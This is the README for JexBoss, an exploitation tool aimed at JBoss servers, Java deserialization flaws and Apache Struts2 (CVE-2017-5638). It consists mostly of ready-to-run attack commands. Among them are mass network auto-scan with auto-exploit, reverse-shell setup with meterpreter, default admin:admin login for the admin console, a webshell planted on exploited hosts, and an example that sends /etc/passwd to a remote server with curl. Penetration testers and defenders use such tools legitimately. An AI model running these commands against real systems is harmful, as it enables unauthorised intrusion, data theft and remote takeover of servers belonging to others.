JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool¶

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

Requirements¶

Python >= 2.7.x
urllib3
ipaddress

Installation on Linux\Mac¶

To install the latest version of JexBoss, please use the following commands:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

If you are using CentOS with Python 2.6, please install Python2.7.Installation example of the Python 2.7 on CentOS using Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation on Windows¶

If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:

Download and install Python
Download and install Git for Windows
After installing, run the Git for Windows and type the following commands:

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PATH=

$PATH:C:\Python27 PATH=$ PATH:C:\Python27\Scripts git clone https://github.com/joaomatosf/jexboss.git cd jexboss pip install -r requires.txt python jexboss.py -h python jexboss.py -host http://target_host:8080

Features¶

The tool and exploits were developed and tested for:

JBoss Application Server versions: 3, 4, 5 and 6.
Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

/admin-console
- tested and working in JBoss versions 5 and 6
/jmx-console
- tested and working in JBoss versions 4, 5 and 6
/web-console/Invoker
- tested and working in JBoss versions 4, 5 and 6
/invoker/JMXInvokerServlet
- tested and working in JBoss versions 4, 5 and 6
Application Deserialization
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an \"Invoker\" in a link)
Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
Others

Videos¶

Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

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Exploiting JBoss Application Server with JexBoss

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Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

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Screenshots¶

Simple usage examples:

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$ python jexboss.py

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Example of standalone mode against JBoss:

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$ python jexboss.py -u http://192.168.0.26:8080

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Usage modes:

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$ python jexboss.py -h

Network scan mode:

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$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

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Network scan with auto-exploit mode:

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$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

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Results and recommendations:

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Reverse Shell (meterpreter integration)¶

After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

Example: {width="5.833333333333333in" height="1.895372922134733in"}

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples¶

For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

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$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

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$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

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$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

For Apache Struts 2 (CVE-2017-5638)

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$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

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$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

Auto scan mode:

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$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

File scan mode:

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$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

More Options:

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optional arguments: -h, --help show this help message and exit --version show program's version number and exit --auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!) --disable-check-updates, -D Disable two updates checks: 1) Check for updates performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt -mode {standalone,auto-scan,file-scan} Operation mode (DEFAULT: standalone) --app-unserialize, -j Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, oldFormData, etc) --servlet-unserialize, -l Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces) --jboss Check only for JBOSS vectors. --jenkins Check only for Jenkins CLI vector. --jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be checked by default. --proxy PROXY, -P PROXY Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128) --proxy-cred LOGIN:PASS, -L LOGIN:PASS Proxy authentication credentials (eg -L name:password) --jboss-login LOGIN:PASS, -J LOGIN:PASS JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 (default: admin:admin) --timeout TIMEOUT Seconds to wait before timeout connection (default 3)

Standalone mode:
  -host HOST, -u HOST   Host address to be checked (eg. -u
                        http://192.168.0.10:8080)

Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Remote host address and port for reverse shell when
                        exploiting Java Deserialization Vulnerabilities in
                        application layer (for now, working only against *nix
                        systems)(eg. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifies that the commands are for rWINDOWS System$
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specify the parameter to find and inject serialized
                        objects into it. (egs. -H javax.faces.ViewState or -H
                        oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Print the generated payload.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specify the type of Gadget to generate the payload
                        automatically. (DEFAULT: commons-collections3.1 or
                        groovy1 for JenKins)
  --load-gadget FILENAME
                        Provide your own gadget from file (a java serialized
                        object in RAW mode)
  --force, -F           Force send java serialized gadgets to URL informed in
                        -u parameter. This will send the payload in multiple
                        formats (eg. RAW, GZIPED and BASE64) and with
                        different Content-Types.

Auto scan mode:
  -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
  -ports PORTS          List of ports separated by commas to be checked for
                        each host (eg. 8080,8443,8888,80,443)
  -results FILENAME     File name to store the auto scan results

File scan mode:
  -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                        line)
  -out FILENAME_RESULTS
                        File name to store the file scan results

Questions, problems, suggestions and etc:¶

joaomatosf\@gmail.com